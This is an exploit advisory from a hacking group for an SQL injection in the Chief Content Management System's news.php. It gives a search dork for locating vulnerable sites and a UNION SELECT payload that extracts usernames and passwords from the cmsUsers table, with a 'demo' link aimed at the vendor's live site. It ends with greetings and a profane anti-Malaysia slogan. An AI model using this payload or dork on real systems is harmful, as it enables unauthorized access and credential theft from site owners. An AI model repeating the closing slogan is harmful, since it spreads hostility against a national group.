############################################################## ## Chief Content Management System - news.php?id= ## ## Author : kaMtiEz (kamzcrew@yahoo.com) ## ## Homepage : http://www.indonesiancoder.com ## ## Date : September 14, 2009 ## ############################################################## /~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__ /~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_ /~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__ /~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___ /~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____ ____________________________________________________________ -=- KILL-9 CREW -=- INDONESIANCODER -=- ############################################################## [ Software Information ] [+] Vendor : http://www.chiefcms.com/ [+] Software : Chief Content Management System [+] Vulnerability : SQL injection [+] Dork : "Powered by The Chief" ############################################################## [ Vulnerable File ] http://127.0.0.1/news.php?id=[KILL-9 Crew SQLi] [ Exploit ] -666+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password)kaMtiEz,8,9,10,11,12,13,14,15,16,17+from+cmsUsers-- [ Demo ] http://www.chiefcms.com/news.php?id=-666+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password)kaMtiEz,8,9,10,11,12,13,14,15,16,17+from+cmsUsers-- ############################################################## [ Thx TO ] [+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW [+] Don Tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_aneh [+] Contrex,onthel,yasea,bugs,olivia,Jovan1,Aar,Ardy [+] Coracore,black666girl,chitoz,NepT,ichal,tengik and YOU!! [ NOTE ] This is My birthday i am 18 !! [ QUOTE ] "Ini dadaku, mana dadamu? Kalau Malaysia mau konfrontasi ekonomi, Mari kita hadapi dengan konfrontasi ekonomi Kalau Malaysia mau konfrontasi politik, Mari kita hadapi dengan konfrontasi politik Kalau Malaysia mau konfrontasi militer, Mari kita hadapi dengan konfrontasi militer Soekarno, 1963” Soekarno : Dengan ini saya menyatakan "GANYANG MALAYSIA" FUCK MALAYSIA !!!